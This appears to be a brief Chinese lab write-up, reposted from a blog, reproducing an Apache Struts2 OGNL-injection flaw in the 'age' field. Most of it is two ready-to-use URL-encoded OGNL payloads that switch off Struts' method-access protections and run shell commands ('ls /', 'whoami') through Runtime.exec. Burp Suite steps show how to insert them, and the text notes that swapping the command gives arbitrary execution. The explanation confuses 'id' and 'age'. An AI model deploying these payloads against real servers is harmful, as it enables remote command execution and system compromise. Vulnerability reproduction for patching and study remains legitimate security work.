漏洞原理：
age来自于用户输入，传递一个非整数给id导致错误，struts会将用户的输入当作ongl表达式执行，从而导致了漏洞
漏洞复现:
访问http://your-ip:8080
构造poc，使用抓包工具burp suite，修改数据包插入poc
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27
修改whoami部分就可以执行任意命令了 在age的value部分，看回显
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27
原文：https://www.cnblogs.com/whited/p/14811273.html